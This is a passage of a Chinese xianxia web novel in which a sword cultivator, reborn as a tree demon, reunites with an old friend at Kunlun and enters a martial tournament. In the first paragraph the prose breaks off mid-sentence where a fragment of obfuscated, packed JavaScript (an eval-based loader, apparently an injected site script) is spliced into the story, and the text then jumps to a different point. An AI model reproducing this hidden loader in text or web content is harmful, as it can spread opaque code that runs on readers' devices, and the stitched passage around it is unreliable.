反观贺山绿不以为意,并不去解释其合理性,而是告诫道,“禁地就是禁地,明明心知肚明还要去闯,那就是死有余辜。” “当然,琦渊乃昆仑贵客,我如此说,只是希望姑娘多加小心,并无冒犯之意。” “可若有外人不小心……?” 钱巧巧还想说点什么,被贺山绿毅然打断,“所有来昆仑的客人,都会第一时间被告知昆仑的忌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还有一次,紫霄峰座下弟子贪玩,御剑飞至凌绝峰地界观赏七景之一,落星飞瀑。中间我不知道发生了什么,只是听说最后人和胳膊是分开回来的。我师傅云裳仙子一颗大还丹勉强为其续命,然而那人的道心早被碾碎成渣,一听见凌绝峰三个字就要哭嚎,何谈日后修行?” “总之凌绝峰乃凶险之地,比起禁咒也不遑多让,你们还需谨慎出行。” 钱巧巧被吓得往后倒退一步,险些与身后少年撞上。 二人身形不稳,惊愕如出一辙。 “什么?” -- 昆仑之巅终年覆雪,有一座破败的道观。 此道观三层小楼,乃昆仑开山祖师青玉子一手建造。现而今年久失修,鲜少有人问津。夹杂在暴虐的风雪里,显得十分孤寂。 阴历七月十五,百鬼出行,细听便有细碎的哭嚎声不绝于耳。黑暗如一张抻不开的巨网,攫住深夜中一切踪影。 观内漆黑一团,不见牌位,中心处有一张四仙方桌,上面置有一盏青铜油灯。 此灯台不似凡物。通体青黑,有阴森的鬼气缠绕,灯芯火焰极淡,颜色诡谲如冥火。 灯台中的液体如水,其中有三条魂魄小鱼呈半透明状,散发着莹莹蓝光,漂浮其中,好似冬眠初醒,很久才游动一下。 黑暗吞噬一切,唯独映衬出墙边一道烛火似的人影,身形挺拔,长袍如水垂落,如同魍魉。 他贴着墙坐下,如此随性的动作,做得不算自然,与记忆中那人不同。 一只腿微曲,手落在膝盖上,长久无声地望着灯台,目光中碎火渐熄渐灭。 屋外暴雪如屑,肆虐无常。此观年久破败,窗棂折裂,墙壁细缝蜿蜒,却一丝风都吹不进来。 直至十五子时过去,火焰渐熄。 三条魂魄小鱼散去蓝光,徒留余烬似的微茫沉入灯底。 墙下人仰头向后,下颌线条轮廓分明,情绪寥寥。 他抬起膝盖上的那只手,一把带鞘长剑凭空出现,悬于灯台上方。 自那剑一出,观内风声尽数被压下,气氛阴沉得足以将空气结冰落地。 虽为守护剑阵,可经此剑压制,万籁俱寂,一时将观内衬得似坟冢。 出剑人对着虚空一处开口,像是很久没说过话,嗓音低沉,沙哑,如风雪扫过堂前,冷冽异常。 “八十年前,轮回簿上我看到谢海生三字。他转世为人,家世很好。” “既不记得前尘,我不会打扰。” “而后我翻遍死人页,一百一十五年了,唯独不见你。” 说到这,那人不知想到什么,笑了一声。这声笑更有不知所谓的冷淡,听着有些瘆人。 “有时我会想,若你也如师傅一样落入轮回了,我当如何?” “我想不出来。” 长剑突然颤动,抑制不住即将出鞘的滔天煞气,引发阵阵冷冽的剑鸣。偏偏剑的主人语气平静,好似在谈无关紧要之事。 “赵行舟,不要转世吧。” 于不见五指的黑暗中,有人向虚空伸出一只手。手骨分明,修长有力,无数气息在掌间方寸中静止了。 再松开,什么也不剩。 “师傅不记得我便罢了。这轮回之道,谁都能入。” 鼻尖气息如淬着霜的刀刃,音色终于绷不住沉了下去,字字割人灵魂。 呢喃似吐息。 “只有你不行。” 4. 第 4 章 琦渊二人来访是客,被安排到上等客房。赵行舟眼下身份不伦不类,被安排到和昆仑门下侍的大通铺中。 门下侍,即为修仙门派豢养的妖,是妖族亲人派势力的去处之一。 签立契约后,这类妖物多以仆从身份伴修真者左右。极个别受青睐的,可脱离主仆身份,以宗派外门弟子的待遇在修真界生活。 这也是妖物唯一有可能接触到修真心法,而不被人类正道除灭的身份。 不过,总归像豢养宠物似的,低人一等,很不自由。 如今天下太平,人、魔种族虽万古对立,但自从几千年前不知名大佬修起一道天然壁垒后,要突破结界极难,是故二界千年以来还算相安无事。 妖界则在三界始终处于相对中立的地位。妖族修行道路难于其他二族,唯一优势就是天生寿命长。漫长岁月中,虽出过几位渡劫成功的大能者,但总体势力较弱。 在妖族中,亲人派势力有之,亲魔派势力有之,自立自强反而成了少数。三方分别看不起其余二方,致使妖族内部并不团结。 赵行舟生前没有招过门下侍。他惯爱独来独往,受不了带累赘出门,更不想有人天天在宗门盼着他回去,妖也不行。 修行路阻且长,本就是一个人的事,何必徒惹牵挂? 谢海生如此,赵行舟如此,待他日他再收徒,亦当如此。 只是没想到,有一天他赵行舟会被别人威胁,要去立门下侍的契。 而且他还是那个被驭的妖。 一路下来,玄元门那小子要契他,琦渊这小丫头片子也要契他。原因很简单,作为修为低下的妖族,像他这样“通人性”的物种很少见。这就和难得看见一只能听懂人话还会互动的小猫小狗似的。修行路苦,抓回家一个解闷,玩腻了丢一边去,或是留下做苦力,何乐不为? 但是,呵。 赵行舟心里冷笑。 他倒要看看谁敢契他。 寝室内,挨着赵行舟睡的是一个兔妖,十五六岁的人类少年模样,化形不算完美,头顶上耷拉着两个灰白色耳朵,长了一张人畜无害的脸。他见寝室上来了一个新妖,正沉着脸站在通铺前,不知什么来路,便小心翼翼地问,“你……你是谁家新收的门下侍?” 赵行舟一言不发,困得不轻,只想倒在通铺上,被兔妖尖锐的叫声打断,“你!你怎么不沐浴就上床!” 沐浴?赵行舟皱着眉看他。上次听到这个词还是在百余年前。 作为植物妖就有这种好处。他虽脏得看不清五官了,但从没听说哪棵树因为一百多年不洗澡变臭的。 衣服是化形那时随处捡的,穿很久了,只残留一丝淡淡的草叶味。 但灵魂作为一个人,突然想起来一百年都没正八经洗过澡,一时……令他无法接受。 兔妖捏着一根手指头往外推赵行舟的肩膀,颇为嫌弃,“你的新主人好像不太讲究,连身新衣服都不为你准备。咦,你的手腕怎么还绑着缚妖索,莫非你还未立契?” 也真难为琦渊那两个家伙看得下去。 赵行舟往后退开两步,问,“何处沐浴?” 对方问得很直接,很随性,还很理所当然。兔妖对这种语气服从惯了,下意识指向一个方向。 见脏兮兮的少年转身就走,兔妖突然反应过来,对方不过和他一样是个小妖,他为什么要服从?!当下有点生气,“喂,我问你话,你怎么不回答我,你到底是谁家的呀!” 少年只从风中留给他两个字,“谢了。” -- 冰川湖水碧幽,深不见底,彻骨寒冷。 但昆仑充沛的灵气,浸润结界中的山水万物。 平静的湖面冒出几个气泡,随后一个人的脑袋破水而出。少年在湖中畅游一番,自在异常,然后放松身体,让自己如一块浮木般飘在水面上,静静地看着天。 现而今他本体应该是一棵凤凰松,枝挺、叶茂、树冠苍翠,不怕寒。他化为人身,身体也保留了一些松树的特性。 单看身骨比例,是块练剑的好材料。 当他沉入灵府,所见不再是上辈子修真的气海,替换成一颗木质胎心漂浮其中,散发着淡淡的灵气。 不同物种,妖丹千奇百怪。赵行舟没做过妖,猜测这应该就是他的妖丹。 尝试从中引出灵气,去行人体的大小周天,虽可行,但关穴如入泥塘,凝滞淤堵,极难前行。 都说妖修行不易,这不假。赵行舟上辈子修行天赋奇高,周天运行一点就通,相比之,现在这身躯干堪称朽木。他稳定化形后努力了整整半年,如今也不过能勉强走完一个周天,进步甚微。 然而赵行舟并无气馁之感。 不易,不代表这条路不通。 当然了,就算这条路真不通,他打也把它打通。他从不是认命之人。 思及至此,赵行舟翻身,游至岸边。 脱水时抬起右手,掌心立刻生长出一小截断枝。 他将断枝插入浸着水的长发,随手挽上发髻。 换上粗布短打,赵行舟沐浴完毕,肢体轻松。昆仑灵气饱满,冲散了长久困着他的一些昏沉感。 他看向水中倒影,那张和生前为人时没什么相似之处的脸。 修个妖剑仙而已,没什么了不起的。 他赵行舟就算做妖,也要做一个自立自强,顶天立地的妖中清流。 上辈子没能渡的飞升劫,这辈子补上就是。 踏着半湿的步子走回门下侍寝室,寝室外站着一位没见过的少年。霜色道袍配藏青色绣纹内衬,为昆仑紫霄峰内门弟子统一服饰。 小道士板着一张脸在门口等人,好似很不耐烦。寝室内的三个小妖则缩着头站在一旁,大气不敢出一声,显得很恭敬。 待赵行舟还未走近,那只兔妖就已抬头看过来,只是看了半天,又歪头看了几眼,半天没认出来走过来的是谁。小道士不耐烦问道,“可是此妖?” 兔妖耳朵一抖,连忙指着他喊,“是他,就是他!道爷请看,他手上的缚妖索还没摘呢。错不了!” 心里想的是,妖神在上,这家伙不过去湖里游了一圈,洗清泥了,怎么气势变化这么大! 简直……比起眼前这位昆仑正八经内门弟子,还像那么回事…… 想到这里,兔妖突然清醒,恨不得给自己来一巴掌。 眼前这家伙不过和他一样的小妖,低贱到草里去的身份,不过换了身干净行头,怎能和眼前这些天之骄子做对比?怕不是得了失心疯吧! 这种亵渎可不是说着玩的,兔妖后背渗出一层冷汗。好在昆仑无人会读心术,若有人知道他敢拿修真者和妖怪做比较,只怕下一秒就被斩了。 赵行舟和小道士自然不知道兔妖千肠百转在想什么,只是觉得这兔子沉默得很突然。小道士打量一番赵行舟,对他淡淡道,“跟我走吧。” 赵行舟点头,不问去处,一路随小道士往山上走。 最终停在一座仙气缭绕的宫殿前,牌匾古朴沉重,刻有“太衍宫”三字。 直接来主殿? 他这事的级别严重到这种程度了吗,需要掌门亲自审? 赵行舟随小道士迈入高高的门槛,心想,也罢。早晚得来。 其实赵行舟这件事的级别远到不了昆仑掌门来审,只是正逢琦渊有客人来,几人在推测本轮洞天秘境宗门内的入选名额,久坐未散。 秘境内环境特殊,事关神器抢夺,想来想去,实在找不出一个非常靠谱的人选。 等到钱巧巧张沛岑二人来拜访后,钱巧巧又一直缠着薛长老准了她收门下侍的要求。 钱巧巧身份特殊,乃琦渊钱留音掌门独女,这种来历不明的小妖岂能说收就收。薛长老被缠得没辙,索性托虚微子传唤那小妖上来一见。若来路不正,当堂诛了就是。 既然薛长老要召见,那就召见吧,公事乏味,全当调剂心情。 张天茂在听几人讨论秘境人选时,全程保持左耳朵进右耳朵出的状态。 天塌了有老的顶着,他觉得能管好自己手下这一亩三分地就不错了。 当看见自家内门弟子进来时,张天茂还在琢磨,这小子叫什么来着?他怎么一点印象都没有了。看来还是对自己这一亩三分地了解不够。 唉,当峰主好难。 如此想着,心情受挫,就没去注意后面的身影。 钱巧巧倒是很兴奋。她仔细打量洗干净脸的赵行舟,突然拍手,自信道,“我决定了,不管他什么来历,我就要收了他。薛叔叔,你要是不答应,我就和我爹说!” 薛从任并未回答钱巧巧,而是引了一点神识向少年探去。却不料这少年反应很快,立时便向他看来。 看也没用,在绝对的实力面前,弱者无法回避强者的神识探查。 即使这种感觉,通常会令修真者觉得很冒犯,很唐突。 少年看了一眼便收回视线,神情自若承受着薛从任的探查。 除某些修为高深的大妖会掌握障眼法外,妖族的本体都会被比自己修为高的那一方轻易辨识。薛从任更是一眼看破了他的树身。 是一只树妖,除了灵识清晰,化形稳定,似乎并无特殊之处。 哦,也未必。薛从任沉吟,看了一眼冲台下挥手的钱巧巧,又看向不为所动的少年。 倒是长了一张讨小姑娘喜欢的脸。 云裳仙子的声音低柔温和,她微笑道,“听琦渊小友说,你身上功夫不似凡家,你可有什么想说的?” 少年的目光顺着台上几人一一掠过,最后锁定在神游的张天茂身上,眉头一挑。遂收回目光,道,“不过是看人家打架学了两招,没什么特殊的。” 此话不卑不亢,惹来个别人不满。 张沛岑皱眉道,“你基础功扎实,招式多变,绝不是看两眼就能学到的东西。” 见少年不答话,张沛岑又压低声道,“我劝你还是尽早讲实话,不要耽误各位前辈的时间。否则难饶你性命。” 赵行舟闻言,看着他微笑,“你看两眼学不会的东西,未必别人都学不会。” 张沛岑一愣。他身为琦渊五子,自小是在无数赞誉声中长大的,从未被人质疑过能力。眼下,竟被一个刚化形不久的小妖质疑了? 张沛岑脸上染上一丝薄怒,还未有动作,钱巧巧歪头,“师兄,他好轻狂,我觉得越来越有意思了。” 说着,钱巧巧一跃而下,脆生生笑道,“问那么多干嘛,让我来试一下不就知道了!” 听张沛岑在身后喊,“师妹,不可!” 但钱巧巧已经落在少年面前,没有招出绸缎,赤手空拳向他扑来。 赵行舟平生最不怕别人威胁。别人硬气,他骨头更硬气。 但他怕不按常理出牌的人。 钱巧巧算一个。 见少女表情兴奋,赵行舟着实愣了一下。避开,少女的腿脚立刻跟上来。 作为活了二百多岁,一只脚迈过大乘的剑修,于整个昆仑历史上,他赵行舟也算得上宗师级人物。 让他怎么能…… 打小女孩? 如此想着,赵行舟躲避不及,差点被小女孩一脚踹中。 重点是这个小女孩目前修为还比他高一点,不正经应付,只有被打的份了。 钱巧巧嘴里还在挑衅,“你躲什么,来来来,拿出你的真本事来。” 赵行舟:……青山不改,绿水长流,以后别让我见到你爹。 二十几个招式对过去,赵行舟无论如何也出不了手,被迫喊停,“等等。” “你别缠着我,我说。” 钱巧巧却眼睛亮晶晶的,正在兴头上,哪里肯停,单脚踏地又扑过来,“再来再来,有什么好说的。” 赵行舟被逼的无路可退,忍无可忍,只得对着台上一个方向吼,“张天茂,我有话要跟你说!” 正在神游的青年被点到名。由于对方喊得如此理直气壮,声音又听着陌生,令他完全没有意识到谁在喊他。张天茂四处看去,嘴上应,“啊?” 反倒是带赵行舟来的那名紫霄峰弟子一听,脸都绿了,跳进场内指着赵行舟大吼,“你怎敢直称我师尊的名讳!他可是昆仑紫霄峰的峰主,你不想活了吗?” 说着,竟然一怒之下加入了混战。 赵行舟嘴角一抽,这群小年轻到底怎么回事啊! 张天茂这才意识到,是谁在喊他。他的目光首次落在台下少年的身上。这人身段高瘦,骨骼匀称,显然有功夫傍身。面对修为比他高的人,虽躲得有点狼狈,但并未真正受伤。 若是人,应该是个很不错的修行苗子。可惜是妖。 嗯? 等等,妖? 台上在座几人无不露出意外神色,看着张天茂。而张天茂则以更加意外的神色,看向台下少年。 一时间,也不知道该生气,还是该纳闷。 “你有什么话想对本座说?”张天茂奇道。 还本座? 张天茂见台下少年看他的眼神,忽然变得有点奇怪。 等等……这人不会是对着他翻了个白眼吧?! 碍于两面夹击,表情没怎么做到位,只有少年嗓音清晰传出来,“张天茂,有人托我问你,九州十五年,你在齐云桃源欠他的三坛猴儿酒,什么时候还?” “九州……十五年?”张天茂表情略过一阵茫然。 “八荒四百三十九年,北洲,荒山草原,你弄丢了一串灵蹄。”少年喘了口气,加快语速 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落地紫霄峰纵海阁,张天茂从数十尺高度一跃落地,身上带着情绪,把手中小妖往地上一扔。登上峰主这么多年,他少有如此焦躁的时候。 那小妖身手倒还不错,晃了一下,没倒。随后纵海阁结界触发,与外界彻底隔绝开来。 张天茂不怎么耐烦,“现在好了,速说。” 赵行舟打量了一下纵海阁,和记忆中没什么变化。只是阁的主人换代了。他道,“你爹竟然放心把紫霄峰交给你,他怎么了?” “我,我爹?”张天茂一愣,随即脸都黑了,化神期的威压自上而下蔓延开,“我的耐心很有限,你不要东扯西扯的,快点回答我的问题!” 少年被压得眉头一皱,语气仍然轻佻,“藏窖里的灵酒,岂不都随你支配了?” “灵酒?”张天茂又是错愕,“你……” “百花谷的盈玉仙子,如今可知你心意了?” “你,你你你……” 散去威压,张天茂后退一步,跌坐在身后的椅子上,人有点傻了。 他爹地窖有藏酒,这是公开的秘密。他曾在荒山草原玩丢一串价值连城的灵蹄,这同届师门也有不少人知道。齐云桃源他虽去过无数次,但只欠过一个人三坛酒。他心仪盈玉仙子,更是上天入地只有一人知道。 那人曾立誓,为守他三分薄面,此事打死不说! 赵行舟抬起眼皮,含笑看着呆滞的旧友,恰似少年时的好心情。他右手撇出一根长树枝握,以枝作剑,翻了一手剑花,竟凌空甩出一道形意通明的纯烈剑意。 “才一百多年未见,天茂兄弟,你不认得我了吗?” 纵使修为没了,躯壳变了,可是剑意修于心中,与人同生共死,是如何也做不了假的。 张天茂“你你你”了半天,没能憋出什么话来。半晌,泄了一口气,道,“你且让我缓缓……” “所以你……”张天茂终于从眼前这个陌生的少年脸上,认出两三分熟悉的神态,勉强发声,“你夺舍了?” 赵行舟仍是笑,“我只听说过人能夺舍人,从未听说过人能夺舍妖的。” 张天茂看着他,一脸神游,“倒也是……那你这是怎么回事?” “不知道。”赵行舟看上去不以为意,“正因为不知道,所以我会想办法弄清楚。” “什么办法?”张天茂讷然,突然想起什么,“噌”一下从椅子上跳了起来,“你回来了,你竟然回来了!” “你速速与我来,我要带你去见一个人!”说着,又要御扇冲出去。 “等等。”赵行舟拦住他,“我现在有很多事情没有弄清楚,身份也很麻烦。你先替我保密吧,我暂时还不想告诉别人。” “保密?有什么好保密的,你不都告诉我了吗?再多告诉一个人也没关系吧?!他毕竟是你,是你……”张天茂卡壳了,突然想起了这百年间的传言,是他什么? 见张天茂的手一直往上指,赵行舟也想了一下,多一个人,谁? 他上面的,掌门么? 赵行舟想了片刻,还是摇头,“我找你,是有事让你帮忙。其他人,我自会找时机说的。你帮我这一次。” 说到这份上了,张天茂还能说什么。认识这么多年,他太了解赵行舟的骄傲之处。若不是真的把他当挚友,赵行舟怎么肯这样找他帮忙? 只是…… 思绪转向凌绝峰。算了,赵行舟说有自己的打算,他没必要强求。 张天茂手用力握了一下赵行舟的肩膀,算作答应。收回手时,眼眶不免泛红,“你小子,变了这么多。叫我差点没认出来。” 说罢,看到赵行舟左手腕上的缚妖索,张天茂抬抬手指头就解了,嘴里嘀咕,“你现在脾气可是好多了,这捆的什么玩意儿,你竟然能忍住不拔剑。” -- 张天茂携赵行舟折返观云主峰时,折扇够大,二人一前一后,看着体面许多。 赵行舟在风中对他说,“不相瞒,在下御剑这么多年,刚刚是第一次被人像拎一只鸡一样飞在半空中。” 张天茂笑,“哈哈,哎呀,那不是着急吗。哈哈。” 赵行舟,“哈。” 落了太衍宫,张天茂折扇一挥,低头走进去。 往返不过两炷香时间,刚刚那些人都还在。 张天茂拢起扇子搁在手中,用扇头往身后赵行舟的方向一指,“不纠结了,我坦白,他的功夫是我教的。” 此话一出,在场众人一呆。龙砚峰李龙发峰主率先拍桌,“你在说什么胡话!” “我说,我、教、的。”张天茂用手掏了掏耳朵,不想多做解释,“听懂了吗?听懂了人我就带回去了。” 反正以他目前的身份地位,收一个小妖做外门弟子,哪怕不立契,也没人会多说什么。 旁人只会以为是个得宠的门下侍罢了。 “等等!”钱巧巧跳出来。她虽知现在没有自己说话的余地,但还是忍不住道,“这小妖莫非是张峰主的门下侍吗?我遇见他的时候,他分明没有契约在身,所以我才拿缚妖索捆了他……”没有契约,以修真界的常理来论,谁先契了谁就是他真正的主人,口头说得哪里算数?又不是人族的修真者。 可话未说完再看,哪还有缚妖索的影子。 “原来是你捆的。”张天茂回头,平时一副风度翩翩的公子做派,一旦敛去表情了,看得钱巧巧压力倍增。张天茂好心挥手道,“看在昆仑和琦渊关系还不错的份上,我多劝一句,少管闲事,更别打什么不该打的主意。” 听这话,竟是把此事上升到门派的高度了。 “可……”钱巧巧还想说什么,被薛长老厉声打断,“巧巧,住口!这没有你说话的份!” 5. 第 5 章 赵行舟返回门下侍寝室时,天黑透了。 隔壁兔妖见他去而复归,很是意外,“你还住在这里?” 赵行舟眉眼困倦,往床上一趟,“怎么?” “在昆仑,那些得宠的小妖都会被分到双人间,甚至单间。”眼下他们住得是足有十个床位的大通铺。兔妖见眼前少年没什么架子,并不像一般厉害人物的门下侍那样趾高气昂,便鼓起勇气继续搭话,“我听说你是紫霄峰张峰主的门下侍,他怎么会还让你住在这里?” “住哪里都一样。”赵行舟翻了个身,像是累极,语气有气无力,“前提是你别说话了。” 太衍宫前,张天茂见不得自家兄弟落魄,确实提议道,“你不如搬来与我一起住?我院子里空房多得很。” 赵行舟拒绝了,“在我查清真相之前,你就全当我没回来吧,不要太惹人注意。 见张天茂不死心,赵行舟笑道,“再有,如今你我这种身份,若搬过去跟你住,外人哪里想得到我们是君子之交,说不定会把我们的关系想得很低俗。不合适。” 闻言,张天茂果然大惊失色,“那可不成啊!” 见他这么大反应,赵行舟觉得有意思,再调侃他,“这自然不成。若被盈玉仙子知道你有‘断袖之癖’,再追五百年也追不上了。你可得照顾好自己的名声。” 虽知道赵行舟在说玩笑话,可听他拿盈玉仙子和他打趣,还是令张天茂略一晃神。眨眼间仿佛自己回到了少年时,友人在旁边笑他不够坦率,而他脸皮则会涨得通红。 随即,又想到眼前,想到赵行舟,想到这一百年间发生的事,张天茂的脸色由红转青,最后变成了沉重的铁青色。 张天茂一脸难言之隐,道,“你想查什么真相?我帮你岂不是更快。” “此事背后应该与洞天秘境有关,你帮不了我。”赵行舟不愿多说,“也不是什么麻烦事,你别操心我了,快走吧。” 此人独惯了,什么事都不爱叫人插手。若不是眼下身份急需过明路,他大概连自己都未必会相认。张天茂思罢,不再多说,递给赵行舟一块传音牌,意思是有事传音牌联系。赵行舟没推脱,接下了。 离去前,张天茂还是忍不住道,“但你这次若没被秘境选上怎么办?” 赵行舟目送他走,“再等一轮就是。” “再等一轮?”张天茂一转身又回来了,满脸惊愕,“一轮可是十年啊。你难道还想再瞒十年?” 赵行舟看着他笑,“你三百多岁的人了,还在乎这十年?” 不等张天茂再开口,赵行舟又道,“你都来来回回走了三遭了,你再不走,我走了。” 张天茂一脸恨铁不成钢,偏偏消失了一百年的旧友在这,不忍心就这么走。还欲说些什么,被旁边一声重哼打断。 李龙发身负一柄长剑,视线在二人身上扫射,不屑之意尽显,“张天茂,你真是越来越不像话了。若你爹泉下有知,怕是要后悔将偌大的紫虚峰交付于你吧。” 张天茂一听,怒火中烧。但他这人有个特色,越是生气,嘴皮子越利索。只见他把扇子一抖,冷哼,“李师叔多虑了。我爹但凡知道我把您气成这样,今晚托梦都会夸我一声做得好。” 李龙发恨道,“伶牙俐齿,不求上进!”被云裳仙子勉强安抚住。 日复一日,昆仑两峰吵了一千多年了,无非就是这套。连掌门都视而不见。 赵行舟见没自己什么事,自行返回。 寝室内,兔妖还在絮絮叨叨,“听说张峰主亲自传了心法给你,一般外门弟子都没有这种优待。” “他老人家会如此对你,想必是很看重你。你该好好珍惜才是。” 睡在兔妖旁边的是一只雀妖,看上去甚是年轻,后背覆有一层鸦羽,长相比兔妖刻薄些。他一直留心窃听兔妖的话,听到最后,不免出声讽刺,“许是也没有那么受宠吧。否则怎么会让他回来。” “可……”兔妖还想说什么,被雀妖打断,“说不准是张峰主一时兴起捡回来的玩意儿,新鲜两天就腻了。不立契就是为了图省事,你做甚那么把他当回事?” 挑衅半晌无人应答,回头再看,那人早已沉沉睡去,哪还听得到一字半句。 -- 而后几天,赵行舟无事便去冰湖中泡水。 妖的修行,和作为人时很不一样。 作为人,无论天资如何逆天,必须刻苦修行修心,才有作为。修的多是自身的能量。 作为妖,常规修行见效甚微。反而是在灵气充沛的地方睡觉、浸泡,就会有增进之感。 于这种环境下,再搭配修行,更有明显的益处。 赵行舟于水中走完大小周天,灵气涌入全身,如同海绵吸了水一样膨胀。这种感觉又好似修炼时的粹体,通体充盈,全身有力,肌肉微微鼓胀起来。 这种修行,更像是吸收自然中的能量化为己用,精妙有之,但更多的是不太适应。 和过往十几年艰难修行的感觉不同,回到昆仑后,也不知为何,赵行舟状态骤增,甚至有点不劳而获似的畅通感。他对此不太适应。 虽然不知道其他妖都是如何修行的,但赵行舟知道,他这种情况不正常。 不过,本体对这种修行方式有种潜意识的渴望,他仔细观察过后,发现确实百利无一害,就放任自行了。 这种修行速度于妖而言或许是捷径,但和他生前相比,还是太慢。 妖在修行之路上没有严格的分级制度,所以赵行舟只能以前世来判断妖怪的实力。 现在他的修为大概只处于筑基中后期,嗯,弱得惨不忍睹。 不过他转生本就是一件很不正常的现象,其中反常之事又不止这一件。 那日与张天茂相认时,赵行舟也在犹豫是否要和他打听祭剑人的消息。 后一想,他了解自己为人。此人会被他祭剑,那定是和他生前关系密切之人。可如此相熟的两个人,他却将对方忘了一干二净,该如何相认? 他断然做不出和陌生人假装亲近的姿态,再见面,岂不徒增尴尬。不如还是先等他把记忆找回来再说吧。 缚妖索去掉了,灵力调动不再局限于体内。 赵行舟赤裸着上半身上岸,调动灵气游走于全身,最后涌入双眼。 水顺着发丝滴落,于赵行舟眼中,与一颗颗悬空的透明石子无异。 练剑先练眼,天地在五感中放大,以眼力最清晰。他沉下一颗心,右手掐起剑诀,虚步跨出,以手引势,随后握拳出击。 一套基础身法以拳代替,挥洒自如,打得空气轻微震荡。 意气行于体内,被他刻意收敛了,没有丝毫外泄。 眼下他修为虽低,但生前剑意境界已修至大乘。心不变,剑意就不会变。若随意外泄,他这一腔剑意古往今来算得上独一号,生前不曾收徒,说不得会惊动一些人。 不能不收敛。 当年便有人造谣他修的是邪门歪道,现而今他又成了妖,若身份昭告天下,大概会做实谣言。 说到底还是他如今实力不济。否则做实谣言又如何?打也把这帮人打服了。 思绪游走,心境未动。一套练罢,赵行舟收势,随即皱着眉向一个方向看去,“你们找我有事?” 两只小妖鬼鬼祟祟从树后探出脑袋。兔妖有些紧张,说话打结,“没、没有!我们也是正巧路过。” “你怕他做什么!”雀妖尾随在后,跳出来,高昂着头,一副天不怕地不怕的样子,“这套拳法,莫非就是张峰主教与你的?” 熟悉昆仑的人能看出来,赵行舟刚刚打得确实是昆仑内门弟子都会的基础招式,动作流畅,好似本该如此。 但大概要到张天茂那个级别,才能依稀分辨出,他打得压根不是拳法,不伦不类,有剑光的影子。 赵行舟随手捞起地上的衣服,往住处走,“和你们有关系吗?” 雀妖尾随在后,羡慕嫉妒交加,表情很不自然,“你来了这么多天,张峰主不曾过问你,可见你压根不是个受宠的。你究竟是怎么骗得他老人家教你心法?” “不知道。”赵行舟披上衣服,边走边穿,很无所谓,“你们不如自己去问他好了。” “我、我们去、去问他?”兔妖吓得话都结巴了。雀妖脸色也不好看,他突然灵机一动,道,“眼下昆仑正在选拔一周后的拭武大会名额,你既然有传承,张峰主没派你去么?我听说,其他峰主的门下侍可都等着给自己主子争脸呢!” 这话成功令赵行舟停住脚步,“怎么,妖也能参加拭武大会吗?” “以前没有,是近几十年新加的。”雀妖不怀好意,面上笑嘻嘻道,“眼下洞天秘境即将开启,妖族的名额同样值得期待。便是我们这些门下侍,也未必没有机会入秘境。修真名门借拭武大会选拔妖族杰青,无非是想为秘境增加筹码。你不去吗?” 实则他想的是,其他峰主的门下侍多为得道多年的妖,修为可不都像眼前这位这样弱不禁风,其中可媲美金丹、元婴期修士的大妖都有! 等这人去了,吃点苦头涨教训事小。若遇见脾气不好的,说不得连妖丹都让人挖出来吃了,也没人会说什么。 妖物之间争斗本就弱肉强食,哪怕入了修真宗门,天性亦是如此。人类修士之间切磋礼道,在妖看来,实在惺惺作态,不屑一顾。 雀妖从前几日见第一面起,就打心底里看不惯这人好似谁都不放在眼里的作派。不过和他同为修真宗门的走狗,多会一套基础拳法罢了,傲气什么? “倒还未问,此届拭武选拔在哪报名?”赵行舟想了一下,问向一旁看上去还算老实的兔妖。 “你竟不知道?”兔妖意外,被忽视的雀妖不甘示弱,又把头挤过来,“选拔正是在龙砚峰的听剑阁,你再不快些去,人家都该截止了。” 赵行舟本不予理会,但见这雀妖如此跳脱,聒噪异常,便终于看向他。 不知为何,面前这树妖少年面上带起微笑时,雀妖后背未完全化形的羽毛忽然一激,根根倒立起来! 一丝如影随形的危险感当头罩下,唤起他原始时期未开智对猎手的本能恐惧,整只鸟不知为何,无法挪动。 少年伸手,一把钳住雀妖的后脖子,以一个不容反抗的姿势提着雀妖走了。语气还算客气,说,“看你这么热心,走吧,咱俩一块去报名。小兔子,带路。” 直到抵达龙砚峰,在听剑阁前,二人纷纷在纸上按下手和爪印,雀妖才后知后觉地反应过来,刚刚自己干了什么。 他怕是被鬼迷了心窍吧,竟然就这么跟着对方来报名了?不过同为一届无名小妖,他怕他什么啊! 雀妖往地上一跪,表情扭曲,差点哭出来,“你、你看你做了什么好事!” 被指责的当事人擦掉拇指上的嫣红,自若道,“打不过认输就是,慌什么。” 说罢,看向自己手中领到的条目。他和雀妖正赶上报名的尾声,同被分在丙组。赵行舟的第一场比试就在三刻之后。 “认输?你在搞笑吗!”雀妖面露愤然,几乎怀疑对方这么说压根是故意的,“妖向来只有生死战,何谈认输!便是我真的要认输,对方若不放过我,又有谁管?” “哦,竟有这么残酷。”少年看上去有点意外,不过转念一想,还是没当回事,“无妨,眼一闭一睁就过去了,记得下辈子投个好胎。” 这下雀妖真的哭出声了,他趴在地上伤心欲绝,“你这妖多半是脑子不好使,我为什么要跟你一般见识?呜呜呜,作孽啊!” “行了。”赵行舟被吵得不轻,抓起他后脖子往丙组场地走去,“屁大点事有什么好哭的,别墨迹了。” 雀妖抵死挣扎,还是被拖走了,“你放手!老子自己会走!!” 兔妖被这番操作惊呆,茫然跟随二人走下去。 修士拭武大会分阶段,分为筑基、金丹、元婴期三个赛段。 筑基往下,没什么可打的。化神往上,又阵势过大。便不设立比试。 赵行舟曾参加过几次,年轻时好胜,必要夺头筹,一时名声大噪,誉满天下。 金丹再往上,拼得你死我活不好收场,则点到为止了。 妖却没那么多赛段,完全是混战。 听那意思,所遇之妖很可能是跨级选手,虽可弃权,但若对手穷追不舍,就真的生死由命了。 赵行舟可以接受。他本着打得过就打,打不过就算的心态,横竖有法子,不至于真的把命交代了。 修行之路残酷无常,走惯了生死场的人都知道,突破修为最简单粗暴的方式,就是逼自己至绝境。 不过赵行舟此次参加拭武大会并非为突破,主要目的还是秘境。 洞天秘境看似名额随机,但不知巧合还是怎样,历届拭武大会上取得佳绩和特殊表现的人,似乎都更容易受天道青睐。 赵行舟不才,生前一向是受青睐的那一批。 只是作为妖,不知天道更看重什么。 秘境开启前反正无事可做,不如碰碰运气。 想必破例将妖单独作为一个门类纳入拭武大会的那批人,也是这样想的。 -- 